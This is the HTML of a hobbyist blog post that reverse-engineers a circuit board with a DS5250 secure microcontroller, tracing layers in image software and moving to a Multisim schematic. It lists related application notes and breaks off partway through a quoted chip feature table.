<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipP-0TJtIc_DWf_y38fW_L4wzuv75In4eyKjjW9emYv12TfQ4QZlDM2HDgaVgEDzLuXs_Y9bzSPoU6rpZsLAsU738CGSpjcOQQamxOkrcsg7uyvWoGFv8bUC5pY4gEwOSQJ_W9r3f9ZxYx/s1600/5.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipP-0TJtIc_DWf_y38fW_L4wzuv75In4eyKjjW9emYv12TfQ4QZlDM2HDgaVgEDzLuXs_Y9bzSPoU6rpZsLAsU738CGSpjcOQQamxOkrcsg7uyvWoGFv8bUC5pY4gEwOSQJ_W9r3f9ZxYx/s1600/5.jpg" /></a></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">This is the microwire layer ontop of Component layer and set on once again around 50% Opacity</span></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhA6Pao2MEr5aWC0O2jawZgpyXjaezhqwSuc-To_RygBysuUpwETBgVbZyVZxQO-VKoBhykPBnEf0qIWB9WZCUjmNRXkgrta3XxT4aL_hbIgmLgu6wkZZx8aphedRIFfH4R2l39edIDFNFl/s1600/6.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhA6Pao2MEr5aWC0O2jawZgpyXjaezhqwSuc-To_RygBysuUpwETBgVbZyVZxQO-VKoBhykPBnEf0qIWB9WZCUjmNRXkgrta3XxT4aL_hbIgmLgu6wkZZx8aphedRIFfH4R2l39edIDFNFl/s1600/6.jpg" /></a></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"><br /></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">My next step is to take the pinout diagrams from the datasheets</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> to lay over the board in the respective places,</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> pay close attention to the original photos of your board</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> and take note of where the circles or tabs are to indicate pin orientation,</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> the chips on the layer you flipped will have to be flipped as well, </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">make sure you check and then check again that the ground plane on your board</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> is where the datasheet says the chips gnd </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">will be this will always help you realise if your work is correct when they line up, </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">if they don't you may have the wrong chip datasheet(wrong part, wrong variation) </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">it may just be that you forgot to flip it, these will line up,</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> some of them you may have to edit to make the spacings between the pins appropriate,</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJcfSb1hvvaDXzVteDTrfaqVDptGC4TFhvTf7Yve2MkvuI6A4hCSta5e-eTzDp3wz5Oj3mIpFp85pbp1dHktw-kix9M4-ISRhyiLKcvECm8MjcgfFKBHxmCZRGy5smfG06kGSpJqXT7U2R/s1600/7.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJcfSb1hvvaDXzVteDTrfaqVDptGC4TFhvTf7Yve2MkvuI6A4hCSta5e-eTzDp3wz5Oj3mIpFp85pbp1dHktw-kix9M4-ISRhyiLKcvECm8MjcgfFKBHxmCZRGy5smfG06kGSpJqXT7U2R/s1600/7.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJcfSb1hvvaDXzVteDTrfaqVDptGC4TFhvTf7Yve2MkvuI6A4hCSta5e-eTzDp3wz5Oj3mIpFp85pbp1dHktw-kix9M4-ISRhyiLKcvECm8MjcgfFKBHxmCZRGy5smfG06kGSpJqXT7U2R/s1600/7.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="173" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJcfSb1hvvaDXzVteDTrfaqVDptGC4TFhvTf7Yve2MkvuI6A4hCSta5e-eTzDp3wz5Oj3mIpFp85pbp1dHktw-kix9M4-ISRhyiLKcvECm8MjcgfFKBHxmCZRGy5smfG06kGSpJqXT7U2R/s320/7.jpg" width="320" /></a></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">If when you import the diagram it appears like this one above simply change the blend mode to mutiply</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Place the components into individual layers so you can turn them off, </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">you can even add sublayers so that you have a diagram in on sublayer,</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> a copper or top sublayer, a microwire layer like so. </span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoLTU-vqPNNr5vv6n3hwApMbBrOmimiiS1kmvQKf5PcMkg8qyNrZTo2T1WfQ3QNMgxH6QQ7o8beJItLPVNQN9V9H-alP9IMMSlxbVz_1jsGKuMr8ycbDbzOFDKtLZltVtDw5381OSxJWly/s1600/8.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoLTU-vqPNNr5vv6n3hwApMbBrOmimiiS1kmvQKf5PcMkg8qyNrZTo2T1WfQ3QNMgxH6QQ7o8beJItLPVNQN9V9H-alP9IMMSlxbVz_1jsGKuMr8ycbDbzOFDKtLZltVtDw5381OSxJWly/s1600/8.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPN2Gc07lZt9n9JYDL1Drckefc_A5o-LypQsteVVmBMNis5X__dYbj7v0OzPANrX29SZFPPIiFUZTeg12A_vEFXmYnhEJcGTTANbq7vkNZsONNY5fPIL-tVMzIDHJg9NyP_kUDA5D2XNcN/s1600/9.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPN2Gc07lZt9n9JYDL1Drckefc_A5o-LypQsteVVmBMNis5X__dYbj7v0OzPANrX29SZFPPIiFUZTeg12A_vEFXmYnhEJcGTTANbq7vkNZsONNY5fPIL-tVMzIDHJg9NyP_kUDA5D2XNcN/s1600/9.jpg" /></a></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">From this point depending on how complex your design is,</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> your are best off too start your tracing back from anything that exits the board,</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> i started with the LCD and then moved onto the rj-45 jack as it contained the power entry points </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">and the data entry/exit points via process of elimination you can work out a majority of the board.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlz9V8TpT8ugpSfyHPNKtysEdfzjVIhwMkw_zy7Mcc_pR_CSvAJDBnbjv8vtW2CAbNjn8AJ0Cjb_hq4iFbpqtQq4C6jVgPOCNVgkyncRX97pWe6jIx0g3IWfYBuXkdxySqfXfj6G6mH0lE/s1600/10.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlz9V8TpT8ugpSfyHPNKtysEdfzjVIhwMkw_zy7Mcc_pR_CSvAJDBnbjv8vtW2CAbNjn8AJ0Cjb_hq4iFbpqtQq4C6jVgPOCNVgkyncRX97pWe6jIx0g3IWfYBuXkdxySqfXfj6G6mH0lE/s1600/10.jpg" /></a></div>
<div style="text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">My start looked like this by looking at the area with the micro wire layer visible</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> as well as the top trace layer you can mark out the traces </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">and microwires in colours to help you understand them as they travel across the board.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimXXfK01mDmbxPLlDHd8Yi-WyGyBNwPEyycvrAErMSocabuYCLjk3lDbdjym6YAtwpRhN3eLQxoI1p5_uxBexRZ4y1GJDd4jFXCHwPU4VvUaofk6bQpjXVZAtoOgA8TgLt3FvypPAuSr2v/s1600/11.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimXXfK01mDmbxPLlDHd8Yi-WyGyBNwPEyycvrAErMSocabuYCLjk3lDbdjym6YAtwpRhN3eLQxoI1p5_uxBexRZ4y1GJDd4jFXCHwPU4VvUaofk6bQpjXVZAtoOgA8TgLt3FvypPAuSr2v/s1600/11.jpg" /></a></div>
<div style="text-align: left;">
<span style="font-family: "times new roman"; font-size: 10.5pt;"></span><br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> Looking at this part of the photos as well you can see where the components are and such.</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">And when i started to slow up it was looking like this </span></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd0xwF5tCshKtEXuyGk6W8TpWlYNmRZikrur6W1E1PtfAdPqOT5jmFaT1xKvDe0PpyEUi89aYZ14pfWadYRj6srFd6nHfEWr8EmK6HqdPR99RNgSNUX8K9EgTOKF4PkwHcUwxRPgdcyRgG/s1600/12.1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd0xwF5tCshKtEXuyGk6W8TpWlYNmRZikrur6W1E1PtfAdPqOT5jmFaT1xKvDe0PpyEUi89aYZ14pfWadYRj6srFd6nHfEWr8EmK6HqdPR99RNgSNUX8K9EgTOKF4PkwHcUwxRPgdcyRgG/s1600/12.1.jpg" /></a></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">At this stage my task manager looks like this when everything is turned on </span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6AkLoCgB7VMFhS3E4elfI6vU83HjVepf1CxjBd_xjwMW6Y6J0GQhFV6hAGrYHaHw0YlLCghSsKSXuPnKfoEnsQX16k-Ofv4ERDcued1KKr2Dz4OqyAxGvC_BcF-TrZHweCfWHWxPt-av5/s1600/12.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6AkLoCgB7VMFhS3E4elfI6vU83HjVepf1CxjBd_xjwMW6Y6J0GQhFV6hAGrYHaHw0YlLCghSsKSXuPnKfoEnsQX16k-Ofv4ERDcued1KKr2Dz4OqyAxGvC_BcF-TrZHweCfWHWxPt-av5/s1600/12.jpg" /></a></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">It can get much heavier and once it gets towards 2gb it crashes so saving frequently is advised.</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">The Next step is to start to make a transition to a schematic program( i use NI multisim its just easy) </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">that way you can really start to see what is going on, </span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">i once again start to work from the rj-45 / sp232, </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> the workings just unravel from that point but lead us to a old enemy the missing data sheets</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTVdrRUcWdMJD6K_OxL8QMRASyHTAYepp2l7K3Kwv-b4gKmPzC6l-x_IQJ1XKH4Q4w6MJ-7hhDWb4jJ2qFIjb8lWU89qWUMxGRH5PM86xtcQwh30U6Bv317mfUnelU58R0H0kxXg_Dcx4T/s1600/13.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTVdrRUcWdMJD6K_OxL8QMRASyHTAYepp2l7K3Kwv-b4gKmPzC6l-x_IQJ1XKH4Q4w6MJ-7hhDWb4jJ2qFIjb8lWU89qWUMxGRH5PM86xtcQwh30U6Bv317mfUnelU58R0H0kxXg_Dcx4T/s1600/13.jpg" /></a></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "times new roman"; font-size: 10.5pt;"> To complete the schematic you will need to map out all the various components values </span><br />
<span style="font-family: "times new roman"; font-size: 10.5pt;">and enter them into your schematic.</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">My main issues and hurdles in this was that i never obtained the ds5250(main MCU) datasheet</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">this was quickly identified when i was checking between the photos</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> and marking out parts that these where of as much importance as the rest of the components, </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">luckily i had quite a few boards </span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">so i snapped some photos and hoped i could find the datasheets otherwise </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">once i had this realisation i knew i was going to have to work on probability </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">in regards to which pin on the mcu it was that i was connecting either to or from,</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> i would have to look at as many variations of publicly documented chips in the Ds5*** Family </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">and use what data i could publicly derive from the actual ds5250 data, </span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">these being a few references to directly swapping the ds5250 80pin MQFP </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">and some other little tidbits,i am unfortunately looking at the 100pin varation,</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> not to fear though, </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">the data available leads to some good conclusions</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">These Are so far: </span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "arial"; font-size: 9.5pt;"><span style="mso-list: Ignore;">1. </span></span><span style="font-family: "arial"; font-size: 9.5pt;">APPLICATION NOTE 2034 (USING THE DS5250 AS A DROP-IN UPGRADE FOR THE DS5002)</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "arial"; font-size: 9.5pt;"><span style="mso-list: Ignore;">2. </span></span><span style="font-family: "arial"; font-size: 9.5pt;">APPLICATION NOTE 3294 (Increasing System Security by Using the DS5250 as a Secure Coprocessor)</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "arial"; font-size: 9.5pt;"><span style="mso-list: Ignore;">3. </span></span><span style="font-family: "arial"; font-size: 9.5pt;">APPLICATION NOTE 4004 (RSA Key Generation in DS5250)</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "arial"; font-size: 9.5pt;"><span style="mso-list: Ignore;">4. </span></span><span style="font-family: "arial"; font-size: 9.5pt;">APPLICATION NOTE 4095 (INTERFACING THE DS5250 WITH A MAGNETIC STRIPE CARD READER)</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Reading : APPLICATION NOTE 3294</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Increasing System Security by Using the DS5250 as a Secure Coprocessor</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;"> This shows many ways the chip can be employed and many suited usages</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Reading : APPLICATION NOTE 2034 (USING THE DS5250 AS A DROP-IN UPGRADE FOR THE DS5002)</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">The DS5250 high-speed secure microcontroller in the 80-pin quad flat pack (QFP) package is a</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">pin-compatible, high-performance upgrade for the DS5002FP.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Table 1. DS5002FP and DS5250 Features</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">Performance:</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">DS5002FP </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> DS5250 </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">FEATURES </span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">16MHz</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> 25MHz </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Maximum clock frequency</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">12 </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> 4</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">Clocks-per-machine cycle</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "arial"; font-size: 9.5pt;">25.2 </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> 8.4*</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 